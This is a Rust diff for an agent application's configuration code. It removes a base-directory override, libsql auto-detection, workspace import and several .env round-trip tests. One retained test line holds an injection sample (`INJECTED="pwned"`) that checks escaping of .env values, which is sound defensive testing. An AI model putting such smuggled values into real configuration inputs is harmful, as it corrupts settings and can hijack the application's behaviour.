let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> =
|
||||||
// needed when loading modules, not for engine initialisation.
|
if self.config.wasm.enabled && self.config.wasm.tools_dir.exists() {
|
||||||
let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> = if self.config.wasm.enabled {
|
match WasmToolRuntime::new(self.config.wasm.to_runtime_config()) {
|
||||||
WasmToolRuntime::new(self.config.wasm.to_runtime_config())
|
Ok(runtime) => Some(Arc::new(runtime)),
|
||||||
.map(Arc::new)
|
Err(e) => {
|
||||||
.map_err(|e| tracing::warn!("Failed to initialize WASM runtime: {}", e))
|
tracing::warn!("Failed to initialize WASM runtime: {}", e);
|
||||||
.ok()
|
None
|
||||||
} else {
|
}
|
||||||
None
|
}
|
||||||
};
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
|
||||||
// Load WASM tools and MCP servers concurrently
|
// Load WASM tools and MCP servers concurrently
|
||||||
let wasm_tools_future = {
|
let wasm_tools_future = {
|
||||||
@@ -669,31 +667,6 @@ impl AppBuilder {
|
|||||||
|
|
||||||
// Seed workspace and backfill embeddings
|
// Seed workspace and backfill embeddings
|
||||||
if let Some(ref ws) = workspace {
|
if let Some(ref ws) = workspace {
|
||||||
// Import workspace files from disk FIRST if WORKSPACE_IMPORT_DIR is set.
|
|
||||||
// This lets Docker images / deployment scripts ship customized
|
|
||||||
// workspace templates (e.g., AGENTS.md, TOOLS.md) that override
|
|
||||||
// the generic seeds. Only imports files that don't already exist
|
|
||||||
// in the database — never overwrites user edits.
|
|
||||||
//
|
|
||||||
// Runs before seed_if_empty() so that custom templates take priority
|
|
||||||
// over generic seeds. seed_if_empty() then fills any remaining gaps.
|
|
||||||
if let Ok(import_dir) = std::env::var("WORKSPACE_IMPORT_DIR") {
|
|
||||||
let import_path = std::path::Path::new(&import_dir);
|
|
||||||
match ws.import_from_directory(import_path).await {
|
|
||||||
Ok(count) if count > 0 => {
|
|
||||||
tracing::info!("Imported {} workspace file(s) from {}", count, import_dir);
|
|
||||||
}
|
|
||||||
Ok(_) => {}
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!(
|
|
||||||
"Failed to import workspace files from {}: {}",
|
|
||||||
import_dir,
|
|
||||||
e
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
match ws.seed_if_empty().await {
|
match ws.seed_if_empty().await {
|
||||||
Ok(_) => {}
|
Ok(_) => {}
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
|
|||||||
+15
-421
@@ -7,75 +7,13 @@
|
|||||||
//! File: `~/.ironclaw/.env` (standard dotenvy format)
|
//! File: `~/.ironclaw/.env` (standard dotenvy format)
|
||||||
|
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::sync::LazyLock;
|
|
||||||
|
|
||||||
const IRONCLAW_BASE_DIR_ENV: &str = "IRONCLAW_BASE_DIR";
|
|
||||||
|
|
||||||
/// Lazily computed IronClaw base directory, cached for the lifetime of the process.
|
|
||||||
static IRONCLAW_BASE_DIR: LazyLock<PathBuf> = LazyLock::new(compute_ironclaw_base_dir);
|
|
||||||
|
|
||||||
/// Compute the IronClaw base directory from environment.
|
|
||||||
///
|
|
||||||
/// This is the underlying implementation used by both the public
|
|
||||||
/// `ironclaw_base_dir()` function (which caches the result) and tests
|
|
||||||
/// (which need to verify different configurations).
|
|
||||||
pub fn compute_ironclaw_base_dir() -> PathBuf {
|
|
||||||
std::env::var(IRONCLAW_BASE_DIR_ENV)
|
|
||||||
.map(PathBuf::from)
|
|
||||||
.map(|path| {
|
|
||||||
if path.as_os_str().is_empty() {
|
|
||||||
default_base_dir()
|
|
||||||
} else if !path.is_absolute() {
|
|
||||||
eprintln!(
|
|
||||||
"Warning: IRONCLAW_BASE_DIR is a relative path '{}', resolved against current directory",
|
|
||||||
path.display()
|
|
||||||
);
|
|
||||||
path
|
|
||||||
} else {
|
|
||||||
path
|
|
||||||
}
|
|
||||||
})
|
|
||||||
.unwrap_or_else(|_| default_base_dir())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Get the default IronClaw base directory (~/.ironclaw).
|
|
||||||
///
|
|
||||||
/// Logs a warning if the home directory cannot be determined and falls back to
|
|
||||||
/// the current directory.
|
|
||||||
fn default_base_dir() -> PathBuf {
|
|
||||||
if let Some(home) = dirs::home_dir() {
|
|
||||||
home.join(".ironclaw")
|
|
||||||
} else {
|
|
||||||
eprintln!("Warning: Could not determine home directory, using current directory");
|
|
||||||
std::env::current_dir()
|
|
||||||
.unwrap_or_else(|_| PathBuf::from("/tmp"))
|
|
||||||
.join(".ironclaw")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Get the IronClaw base directory.
|
|
||||||
///
|
|
||||||
/// Override with `IRONCLAW_BASE_DIR` environment variable.
|
|
||||||
/// Defaults to `~/.ironclaw` (or `./.ironclaw` if home directory cannot be determined).
|
|
||||||
///
|
|
||||||
/// Thread-safe: the value is computed once and cached in a `LazyLock`.
|
|
||||||
///
|
|
||||||
/// # Environment Variable Behavior
|
|
||||||
/// - If `IRONCLAW_BASE_DIR` is set to a non-empty path, that path is used.
|
|
||||||
/// - If `IRONCLAW_BASE_DIR` is set to an empty string, it is treated as unset.
|
|
||||||
/// - If `IRONCLAW_BASE_DIR` contains null bytes, a warning is printed and the default is used.
|
|
||||||
/// - If the home directory cannot be determined, a warning is printed and the current directory is used.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
/// A `PathBuf` pointing to the base directory. The path is not validated
|
|
||||||
/// for existence.
|
|
||||||
pub fn ironclaw_base_dir() -> PathBuf {
|
|
||||||
IRONCLAW_BASE_DIR.clone()
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Path to the IronClaw-specific `.env` file: `~/.ironclaw/.env`.
|
/// Path to the IronClaw-specific `.env` file: `~/.ironclaw/.env`.
|
||||||
pub fn ironclaw_env_path() -> PathBuf {
|
pub fn ironclaw_env_path() -> PathBuf {
|
||||||
ironclaw_base_dir().join(".env")
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join(".env")
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Load env vars from `~/.ironclaw/.env` (in addition to the standard `.env`).
|
/// Load env vars from `~/.ironclaw/.env` (in addition to the standard `.env`).
|
||||||
@@ -84,16 +22,11 @@ pub fn ironclaw_env_path() -> PathBuf {
|
|||||||
/// takes priority over `~/.ironclaw/.env`. dotenvy never overwrites
|
/// takes priority over `~/.ironclaw/.env`. dotenvy never overwrites
|
||||||
/// existing env vars, so the effective priority is:
|
/// existing env vars, so the effective priority is:
|
||||||
///
|
///
|
||||||
/// explicit env vars > `./.env` > `~/.ironclaw/.env` > auto-detect
|
/// explicit env vars > `./.env` > `~/.ironclaw/.env`
|
||||||
///
|
///
|
||||||
/// If `~/.ironclaw/.env` doesn't exist but the legacy `bootstrap.json` does,
|
/// If `~/.ironclaw/.env` doesn't exist but the legacy `bootstrap.json` does,
|
||||||
/// extracts `DATABASE_URL` from it and writes the `.env` file (one-time
|
/// extracts `DATABASE_URL` from it and writes the `.env` file (one-time
|
||||||
/// upgrade from the old config format).
|
/// upgrade from the old config format).
|
||||||
///
|
|
||||||
/// After loading the `.env` file, auto-detects the libsql backend: if
|
|
||||||
/// `DATABASE_BACKEND` is still unset and `~/.ironclaw/ironclaw.db` exists,
|
|
||||||
/// defaults to `libsql` so cloud instances work out of the box without any
|
|
||||||
/// manual configuration.
|
|
||||||
pub fn load_ironclaw_env() {
|
pub fn load_ironclaw_env() {
|
||||||
let path = ironclaw_env_path();
|
let path = ironclaw_env_path();
|
||||||
|
|
||||||
@@ -105,22 +38,6 @@ pub fn load_ironclaw_env() {
|
|||||||
if path.exists() {
|
if path.exists() {
|
||||||
let _ = dotenvy::from_path(&path);
|
let _ = dotenvy::from_path(&path);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Auto-detect libsql: if DATABASE_BACKEND is still unset after loading
|
|
||||||
// all env files, and the local SQLite DB exists, default to libsql.
|
|
||||||
// This avoids the chicken-and-egg problem on cloud instances where no
|
|
||||||
// DATABASE_URL is configured but ironclaw.db is already present.
|
|
||||||
if std::env::var("DATABASE_BACKEND").is_err() {
|
|
||||||
let default_db = dirs::home_dir()
|
|
||||||
.unwrap_or_default()
|
|
||||||
.join(".ironclaw")
|
|
||||||
.join("ironclaw.db");
|
|
||||||
if default_db.exists() {
|
|
||||||
// SAFETY: `load_ironclaw_env` is called from a synchronous `fn main()`
|
|
||||||
// before the Tokio runtime is started, so no other threads exist yet.
|
|
||||||
unsafe { std::env::set_var("DATABASE_BACKEND", "libsql") };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// If `bootstrap.json` exists, pull `database_url` out of it and write `.env`.
|
/// If `bootstrap.json` exists, pull `database_url` out of it and write `.env`.
|
||||||
@@ -175,14 +92,7 @@ fn migrate_bootstrap_json_to_env(env_path: &std::path::Path) {
|
|||||||
/// Values are double-quoted so that `#` (common in URL-encoded passwords)
|
/// Values are double-quoted so that `#` (common in URL-encoded passwords)
|
||||||
/// and other shell-special characters are preserved by dotenvy.
|
/// and other shell-special characters are preserved by dotenvy.
|
||||||
pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
|
pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
|
||||||
save_bootstrap_env_to(&ironclaw_env_path(), vars)
|
let path = ironclaw_env_path();
|
||||||
}
|
|
||||||
|
|
||||||
/// Write bootstrap vars to an arbitrary path (testable variant).
|
|
||||||
///
|
|
||||||
/// Values are double-quoted and escaped so that `#`, `"`, `\` and other
|
|
||||||
/// shell-special characters are preserved by dotenvy.
|
|
||||||
pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> std::io::Result<()> {
|
|
||||||
if let Some(parent) = path.parent() {
|
if let Some(parent) = path.parent() {
|
||||||
std::fs::create_dir_all(parent)?;
|
std::fs::create_dir_all(parent)?;
|
||||||
}
|
}
|
||||||
@@ -193,8 +103,8 @@ pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> s
|
|||||||
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
|
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
|
||||||
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
|
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
|
||||||
}
|
}
|
||||||
std::fs::write(path, &content)?;
|
std::fs::write(&path, &content)?;
|
||||||
restrict_file_permissions(path)?;
|
restrict_file_permissions(&path)?;
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -205,15 +115,7 @@ pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> s
|
|||||||
/// or appends it otherwise. Use this when writing a single bootstrap var
|
/// or appends it otherwise. Use this when writing a single bootstrap var
|
||||||
/// outside the wizard (which manages the full set via `save_bootstrap_env`).
|
/// outside the wizard (which manages the full set via `save_bootstrap_env`).
|
||||||
pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
|
pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
|
||||||
upsert_bootstrap_var_to(&ironclaw_env_path(), key, value)
|
let path = ironclaw_env_path();
|
||||||
}
|
|
||||||
|
|
||||||
/// Update or add a single variable at an arbitrary path (testable variant).
|
|
||||||
pub fn upsert_bootstrap_var_to(
|
|
||||||
path: &std::path::Path,
|
|
||||||
key: &str,
|
|
||||||
value: &str,
|
|
||||||
) -> std::io::Result<()> {
|
|
||||||
if let Some(parent) = path.parent() {
|
if let Some(parent) = path.parent() {
|
||||||
std::fs::create_dir_all(parent)?;
|
std::fs::create_dir_all(parent)?;
|
||||||
}
|
}
|
||||||
@@ -222,7 +124,7 @@ pub fn upsert_bootstrap_var_to(
|
|||||||
let new_line = format!("{}=\"{}\"", key, escaped);
|
let new_line = format!("{}=\"{}\"", key, escaped);
|
||||||
let prefix = format!("{}=", key);
|
let prefix = format!("{}=", key);
|
||||||
|
|
||||||
let existing = std::fs::read_to_string(path).unwrap_or_default();
|
let existing = std::fs::read_to_string(&path).unwrap_or_default();
|
||||||
|
|
||||||
let mut found = false;
|
let mut found = false;
|
||||||
let mut result = String::new();
|
let mut result = String::new();
|
||||||
@@ -245,8 +147,8 @@ pub fn upsert_bootstrap_var_to(
|
|||||||
result.push('\n');
|
result.push('\n');
|
||||||
}
|
}
|
||||||
|
|
||||||
std::fs::write(path, result)?;
|
std::fs::write(&path, result)?;
|
||||||
restrict_file_permissions(path)?;
|
restrict_file_permissions(&path)?;
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -283,7 +185,9 @@ pub async fn migrate_disk_to_db(
|
|||||||
store: &dyn crate::db::Database,
|
store: &dyn crate::db::Database,
|
||||||
user_id: &str,
|
user_id: &str,
|
||||||
) -> Result<(), MigrationError> {
|
) -> Result<(), MigrationError> {
|
||||||
let ironclaw_dir = ironclaw_base_dir();
|
let ironclaw_dir = dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw");
|
||||||
let legacy_settings_path = ironclaw_dir.join("settings.json");
|
let legacy_settings_path = ironclaw_dir.join("settings.json");
|
||||||
|
|
||||||
if !legacy_settings_path.exists() {
|
if !legacy_settings_path.exists() {
|
||||||
@@ -417,11 +321,8 @@ pub enum MigrationError {
|
|||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
use std::sync::Mutex;
|
|
||||||
use tempfile::tempdir;
|
use tempfile::tempdir;
|
||||||
|
|
||||||
static ENV_MUTEX: Mutex<()> = Mutex::new(());
|
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn test_save_and_load_database_url() {
|
fn test_save_and_load_database_url() {
|
||||||
let dir = tempdir().unwrap();
|
let dir = tempdir().unwrap();
|
||||||
@@ -679,311 +580,4 @@ INJECTED="pwned"#;
|
|||||||
assert!(onboard.is_some(), "ONBOARD_COMPLETED must be present");
|
assert!(onboard.is_some(), "ONBOARD_COMPLETED must be present");
|
||||||
assert_eq!(onboard.unwrap().1, "true");
|
assert_eq!(onboard.unwrap().1, "true");
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_libsql_autodetect_sets_backend_when_db_exists() {
|
|
||||||
let _guard = ENV_MUTEX.lock().unwrap();
|
|
||||||
let old_val = std::env::var("DATABASE_BACKEND").ok();
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::remove_var("DATABASE_BACKEND") };
|
|
||||||
|
|
||||||
let dir = tempdir().unwrap();
|
|
||||||
let db_path = dir.path().join("ironclaw.db");
|
|
||||||
|
|
||||||
// No DB file — auto-detect guard should not trigger.
|
|
||||||
assert!(!db_path.exists());
|
|
||||||
let would_trigger = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
|
|
||||||
assert!(
|
|
||||||
!would_trigger,
|
|
||||||
"should not auto-detect when db file is absent"
|
|
||||||
);
|
|
||||||
|
|
||||||
// Create the DB file — guard should now trigger.
|
|
||||||
std::fs::write(&db_path, "").unwrap();
|
|
||||||
assert!(db_path.exists());
|
|
||||||
|
|
||||||
// Simulate the detection logic (DATABASE_BACKEND unset + db exists).
|
|
||||||
let detected = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
|
|
||||||
assert!(
|
|
||||||
detected,
|
|
||||||
"should detect libsql when db file is present and backend unset"
|
|
||||||
);
|
|
||||||
|
|
||||||
// Restore.
|
|
||||||
if let Some(val) = old_val {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// === QA Plan P1 - 1.2: Bootstrap .env round-trip tests ===
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn bootstrap_env_round_trips_llm_backend() {
|
|
||||||
let dir = tempdir().unwrap();
|
|
||||||
let env_path = dir.path().join(".env");
|
|
||||||
|
|
||||||
// Simulate what the wizard writes for LLM backend selection
|
|
||||||
let vars = [
|
|
||||||
("DATABASE_BACKEND", "libsql"),
|
|
||||||
("LLM_BACKEND", "openai"),
|
|
||||||
("ONBOARD_COMPLETED", "true"),
|
|
||||||
];
|
|
||||||
let mut content = String::new();
|
|
||||||
for (key, value) in &vars {
|
|
||||||
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
|
|
||||||
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
|
|
||||||
}
|
|
||||||
std::fs::write(&env_path, &content).unwrap();
|
|
||||||
|
|
||||||
// Verify dotenvy parses LLM_BACKEND correctly
|
|
||||||
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
|
|
||||||
.unwrap()
|
|
||||||
.filter_map(|r| r.ok())
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let llm_backend = parsed.iter().find(|(k, _)| k == "LLM_BACKEND");
|
|
||||||
assert!(llm_backend.is_some(), "LLM_BACKEND must be present");
|
|
||||||
assert_eq!(
|
|
||||||
llm_backend.unwrap().1,
|
|
||||||
"openai",
|
|
||||||
"LLM_BACKEND must survive .env round-trip"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_libsql_autodetect_does_not_override_explicit_backend() {
|
|
||||||
let _guard = ENV_MUTEX.lock().unwrap();
|
|
||||||
let old_val = std::env::var("DATABASE_BACKEND").ok();
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("DATABASE_BACKEND", "postgres") };
|
|
||||||
|
|
||||||
let dir = tempdir().unwrap();
|
|
||||||
let db_path = dir.path().join("ironclaw.db");
|
|
||||||
std::fs::write(&db_path, "").unwrap();
|
|
||||||
|
|
||||||
// The guard: only sets libsql if DATABASE_BACKEND is NOT already set.
|
|
||||||
let would_override = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
|
|
||||||
assert!(
|
|
||||||
!would_override,
|
|
||||||
"must not override an explicitly set DATABASE_BACKEND"
|
|
||||||
);
|
|
||||||
|
|
||||||
// Restore.
|
|
||||||
if let Some(val) = old_val {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
|
|
||||||
} else {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::remove_var("DATABASE_BACKEND") };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn bootstrap_env_special_chars_in_url() {
|
|
||||||
let dir = tempdir().unwrap();
|
|
||||||
let env_path = dir.path().join(".env");
|
|
||||||
|
|
||||||
// URLs with special characters that are common in database passwords
|
|
||||||
let url = "postgres://user:p%23ss@host:5432/db?sslmode=require";
|
|
||||||
let escaped = url.replace('\\', "\\\\").replace('"', "\\\"");
|
|
||||||
let content = format!("DATABASE_URL=\"{}\"\n", escaped);
|
|
||||||
std::fs::write(&env_path, &content).unwrap();
|
|
||||||
|
|
||||||
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
|
|
||||||
.unwrap()
|
|
||||||
.filter_map(|r| r.ok())
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
assert_eq!(parsed.len(), 1);
|
|
||||||
assert_eq!(parsed[0].1, url, "URL with special chars must survive");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn upsert_bootstrap_var_preserves_existing() {
|
|
||||||
let dir = tempdir().unwrap();
|
|
||||||
let env_path = dir.path().join(".env");
|
|
||||||
|
|
||||||
// Write initial content
|
|
||||||
let initial = "DATABASE_BACKEND=\"libsql\"\nONBOARD_COMPLETED=\"true\"\n";
|
|
||||||
std::fs::write(&env_path, initial).unwrap();
|
|
||||||
|
|
||||||
// Upsert a new var
|
|
||||||
let content = std::fs::read_to_string(&env_path).unwrap();
|
|
||||||
let new_line = "LLM_BACKEND=\"anthropic\"";
|
|
||||||
let mut result = content.clone();
|
|
||||||
result.push_str(new_line);
|
|
||||||
result.push('\n');
|
|
||||||
std::fs::write(&env_path, &result).unwrap();
|
|
||||||
|
|
||||||
// Parse and verify all three vars are present
|
|
||||||
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
|
|
||||||
.unwrap()
|
|
||||||
.filter_map(|r| r.ok())
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
assert_eq!(parsed.len(), 3, "should have 3 vars after upsert");
|
|
||||||
assert!(
|
|
||||||
parsed
|
|
||||||
.iter()
|
|
||||||
.any(|(k, v)| k == "DATABASE_BACKEND" && v == "libsql"),
|
|
||||||
"original DATABASE_BACKEND must be preserved"
|
|
||||||
);
|
|
||||||
assert!(
|
|
||||||
parsed
|
|
||||||
.iter()
|
|
||||||
.any(|(k, v)| k == "ONBOARD_COMPLETED" && v == "true"),
|
|
||||||
"original ONBOARD_COMPLETED must be preserved"
|
|
||||||
);
|
|
||||||
assert!(
|
|
||||||
parsed
|
|
||||||
.iter()
|
|
||||||
.any(|(k, v)| k == "LLM_BACKEND" && v == "anthropic"),
|
|
||||||
"new LLM_BACKEND must be present"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn bootstrap_env_all_wizard_vars_round_trip() {
|
|
||||||
let dir = tempdir().unwrap();
|
|
||||||
let env_path = dir.path().join(".env");
|
|
||||||
|
|
||||||
// Full set of vars the wizard might write
|
|
||||||
let vars = [
|
|
||||||
("DATABASE_BACKEND", "postgres"),
|
|
||||||
("DATABASE_URL", "postgres://u:p@h:5432/db"),
|
|
||||||
("LLM_BACKEND", "nearai"),
|
|
||||||
("ONBOARD_COMPLETED", "true"),
|
|
||||||
("EMBEDDING_ENABLED", "false"),
|
|
||||||
];
|
|
||||||
let mut content = String::new();
|
|
||||||
for (key, value) in &vars {
|
|
||||||
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
|
|
||||||
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
|
|
||||||
}
|
|
||||||
std::fs::write(&env_path, &content).unwrap();
|
|
||||||
|
|
||||||
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
|
|
||||||
.unwrap()
|
|
||||||
.filter_map(|r| r.ok())
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
assert_eq!(parsed.len(), vars.len(), "all vars must survive round-trip");
|
|
||||||
for (key, value) in &vars {
|
|
||||||
let found = parsed.iter().find(|(k, _)| k == key);
|
|
||||||
assert!(found.is_some(), "{key} must be present");
|
|
||||||
assert_eq!(&found.unwrap().1, value, "{key} value mismatch");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_ironclaw_base_dir_default() {
|
|
||||||
// This test must run first (or in isolation) before the LazyLock is initialized.
|
|
||||||
// It verifies that when IRONCLAW_BASE_DIR is not set, the default path is used.
|
|
||||||
let _guard = ENV_MUTEX.lock().unwrap();
|
|
||||||
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
|
|
||||||
|
|
||||||
// Force re-evaluation by calling the computation function directly
|
|
||||||
let path = compute_ironclaw_base_dir();
|
|
||||||
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
|
|
||||||
assert_eq!(path, home.join(".ironclaw"));
|
|
||||||
|
|
||||||
if let Some(val) = old_val {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_ironclaw_base_dir_env_override() {
|
|
||||||
// This test verifies that when IRONCLAW_BASE_DIR is set,
|
|
||||||
// the custom path is used. Must run before LazyLock is initialized.
|
|
||||||
let _guard = ENV_MUTEX.lock().unwrap();
|
|
||||||
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/custom/ironclaw/path") };
|
|
||||||
|
|
||||||
// Force re-evaluation by calling the computation function directly
|
|
||||||
let path = compute_ironclaw_base_dir();
|
|
||||||
assert_eq!(path, std::path::PathBuf::from("/custom/ironclaw/path"));
|
|
||||||
|
|
||||||
if let Some(val) = old_val {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
|
|
||||||
} else {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_compute_base_dir_env_path_join() {
|
|
||||||
// Verifies that ironclaw_env_path correctly joins .env to the base dir.
|
|
||||||
// Uses compute_ironclaw_base_dir directly to avoid LazyLock caching.
|
|
||||||
let _guard = ENV_MUTEX.lock().unwrap();
|
|
||||||
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/my/custom/dir") };
|
|
||||||
|
|
||||||
// Test the path construction logic directly
|
|
||||||
let base_path = compute_ironclaw_base_dir();
|
|
||||||
let env_path = base_path.join(".env");
|
|
||||||
assert_eq!(env_path, std::path::PathBuf::from("/my/custom/dir/.env"));
|
|
||||||
|
|
||||||
if let Some(val) = old_val {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
|
|
||||||
} else {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_ironclaw_base_dir_empty_env() {
|
|
||||||
// Verifies that empty IRONCLAW_BASE_DIR falls back to default.
|
|
||||||
let _guard = ENV_MUTEX.lock().unwrap();
|
|
||||||
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "") };
|
|
||||||
|
|
||||||
// Force re-evaluation by calling the computation function directly
|
|
||||||
let path = compute_ironclaw_base_dir();
|
|
||||||
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
|
|
||||||
assert_eq!(path, home.join(".ironclaw"));
|
|
||||||
|
|
||||||
if let Some(val) = old_val {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
|
|
||||||
} else {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_ironclaw_base_dir_special_chars() {
|
|
||||||
// Verifies that paths with special characters are handled correctly.
|
|
||||||
let _guard = ENV_MUTEX.lock().unwrap();
|
|
||||||
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/tmp/test_with-special.chars") };
|
|
||||||
|
|
||||||
// Force re-evaluation by calling the computation function directly
|
|
||||||
let path = compute_ironclaw_base_dir();
|
|
||||||
assert_eq!(
|
|
||||||
path,
|
|
||||||
std::path::PathBuf::from("/tmp/test_with-special.chars")
|
|
||||||
);
|
|
||||||
|
|
||||||
if let Some(val) = old_val {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
|
|
||||||
} else {
|
|
||||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
|
||||||
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-194
@@ -1,6 +1,5 @@
|
|||||||
//! Channel trait and message types.
|
//! Channel trait and message types.
|
||||||
|
|
||||||
use std::collections::HashMap;
|
|
||||||
use std::pin::Pin;
|
use std::pin::Pin;
|
||||||
|
|
||||||
use async_trait::async_trait;
|
use async_trait::async_trait;
|
||||||
@@ -79,8 +78,6 @@ pub struct OutgoingResponse {
|
|||||||
pub content: String,
|
pub content: String,
|
||||||
/// Optional thread ID to reply in.
|
/// Optional thread ID to reply in.
|
||||||
pub thread_id: Option<String>,
|
